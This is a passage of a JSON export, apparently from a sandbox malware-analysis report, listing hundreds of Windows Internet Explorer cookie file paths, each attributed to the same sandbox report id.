684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@europa[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@euroresidentes[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@everesttech[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@evite[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@exelator[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@eyeota[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@eyereturn[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@eyeviewads[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@fastclick[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@fidelity-media[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@filefreak[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@filesonic[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@fixya[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@flashtalking[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@fout[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@foxsports[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@freeonlinegames[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@fy.tiexue[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@g.58[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@gamezer[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@gazeta[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@geo-um.btrll[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@girlsgogames[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@glam[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@glispa[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@gloomwrite[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@gnavi.co[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@go.addthis[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@go.sonobi[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@goalunited[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@godaddy[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@goo.ne[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@google[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@google[3].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@go[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@groupalia[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@groupon[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@gruppoespresso01.webtrekk[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@gssprt[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@gtags[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@gwallet[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@h-hotels[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@hao.360[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@hao123[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@hc360[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@heias[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@hilton[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@hit.gemius[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@hit.interia[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@hit.interia[3].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@hm.baidu[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@hm[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@howstuffworks[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@huanqiu[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@hub.com[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@hurpass[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@hurriyet.com[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@i-mobile.co[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@ias.rakuten.co[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@ibeu2.mookie1[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@ibillboard[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@ibm[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@icq[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@ifeng[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@ig.com[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@igodigital[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@ih.adscale[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@iis1.deliver.ifeng[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@iivt[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@ikea[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@im-apps[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@image.livedoor[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@imageshack[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@imdb[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@imedia[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@img.macromill[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@impdesk[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@imrworldwide[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@imvu[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@inbox[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@insightexpressai[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@instraffic[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@intel[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@intentiq[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@intuit[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@ioam[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@ip138[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@ipinyou[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@iqiyi[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@irs01[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@irs[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@itau.com[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@java[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@jetblue[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@jiayuan[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@js.sddan[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@jugem[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@justpremium[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@kakakucom.112.2o7[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@kakaku[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@kayak[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@kijiji[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@krxd[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@kuwan8[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@l.qq[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@ladsp[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@lashou[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@last[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@leboncoin[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@ledu[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@legacy[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@legolas-media[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@lenovo.demdex[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@lenovo[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@letao[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@letitbit[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@le[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@libero[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@ligadx[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@lijit[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@linkedin[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@linksynergy[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@liutilities[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@livedoor[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@livestrong[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@logly.co[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@lowes[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@lvs.truehits.in[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@m.exactag[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@m.webtrends[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@made-in-china[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@mail[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@mapion.co[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@marca[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@marriott[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@match.adsby.bidtheatre[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@match.rundsp[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@mathtag[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@matrixspa[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@media6degrees[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@mediafire[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@mediaplex[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@mediav[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@memorylane.d1.sc.omtrdc[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@mercadolivre.com[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@merriam-webster[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@mfp.deliver.ifeng[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@miaozhen[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@microsoftstore[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@microsoftwindows.112.2o7[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@microsoft[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@minijuegos[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@ml314[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@mlb[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@mlsat02[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@mm.markandmini[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@mmstat[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@mobilcom-debitel[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@mobile[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@mookie1[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@moonbasa[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@moshimonsters[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@mozilla[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@mp3raid4[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@mplxtms[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@mpsnare.iesnare[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@msn[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\W